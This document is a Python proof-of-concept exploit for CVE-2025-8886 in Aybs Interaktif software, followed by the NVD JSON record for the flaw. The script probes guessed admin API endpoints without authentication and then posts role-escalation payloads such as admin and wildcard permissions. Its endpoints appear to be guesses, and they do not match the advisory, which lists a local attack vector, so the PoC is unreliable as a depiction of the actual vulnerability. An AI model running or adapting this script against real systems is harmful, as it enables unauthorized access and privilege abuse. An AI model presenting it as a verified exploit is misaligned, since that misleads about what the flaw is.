CVE-2025-8886

# CVE-2025-8886 - Aybs Interaktif Authentication Bypass & Privilege Escalation PoC # Vulnerability: Incorrect Permission Assignment, Missing Authorization, Incorrect Authorization # Impact: Privilege Abuse, Authentication Bypass # Note: This PoC demonstrates the conceptual exploitation approach import requests TARGET_URL = "https://target-aybs-interaktif.com" def exploit_auth_bypass(): """ Attempt to access privileged endpoints without proper authorization. The vulnerability exists due to missing authorization checks on certain API endpoints. """ # Step 1: Access a privileged endpoint without authentication privileged_endpoints = [ "/api/admin/users", "/api/admin/config", "/api/admin/system/settings", "/api/user/all-records", "/api/dashboard/admin-panel" ] for endpoint in privileged_endpoints: url = f"{TARGET_URL}{endpoint}" try: # Attempt to access without authentication token response = requests.get(url, timeout=10) if response.status_code == 200: print(f"[+] VULNERABLE: {endpoint} - Unauthorized access successful!") print(f" Response: {response.text[:500]}") return True else: print(f"[-] Not accessible: {endpoint} (Status: {response.status_code})") except requests.exceptions.RequestException as e: print(f"[!] Error accessing {endpoint}: {e}") return False def exploit_privilege_escalation(session_cookie=None): """ Attempt privilege escalation by manipulating user role parameters. The vulnerability exists due to incorrect permission assignment. """ headers = { "Content-Type": "application/json" } if session_cookie: headers["Cookie"] = session_cookie # Step 2: Try to modify user role to escalate privileges escalation_payloads = [ {"role": "admin", "userId": "1"}, {"role": "superadmin", "userId": "1"}, {"permissions": ["*"], "userId": "1"}, {"isAdmin": True, "userId": "1"} ] for payload in escalation_payloads: try: response = requests.post( f"{TARGET_URL}/api/user/update-role", json=payload, headers=headers, timeout=10 ) if response.status_code == 200: print(f"[+] PRIVILEGE ESCALATED: {payload}") return True except requests.exceptions.RequestException: pass return False if __name__ == "__main__": print("=" * 60) print("CVE-2025-8886 - Aybs Interaktif Exploitation PoC") print("=" * 60) print("\n[*] Testing for authentication bypass...") if exploit_auth_bypass(): print("\n[*] Testing for privilege escalation...") exploit_privilege_escalation() print("\n[*] PoC execution completed.")

{"cve": {"id": "CVE-2025-8886", "sourceIdentifier": "[email protected]", "published": "2025-10-10T14:15:43.860", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Incorrect Permission Assignment for Critical Resource, Exposure of Sensitive Information to an Unauthorized Actor, Missing Authorization, Incorrect Authorization vulnerability in Usta Information Systems Inc. Aybs Interaktif allows Privilege Abuse, Authentication Bypass.This issue affects Aybs Interaktif: from 2024 through 28082025."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N", "baseScore": 6.7, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.4, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-200"}, {"lang": "en", "value": "CWE-732"}, {"lang": "en", "value": "CWE-862"}, {"lang": "en", "value": "CWE-863"}]}], "references": [{"url": "https://www.usom.gov.tr/bildirim/tr-25-0329", "source": "[email protected]"}]}}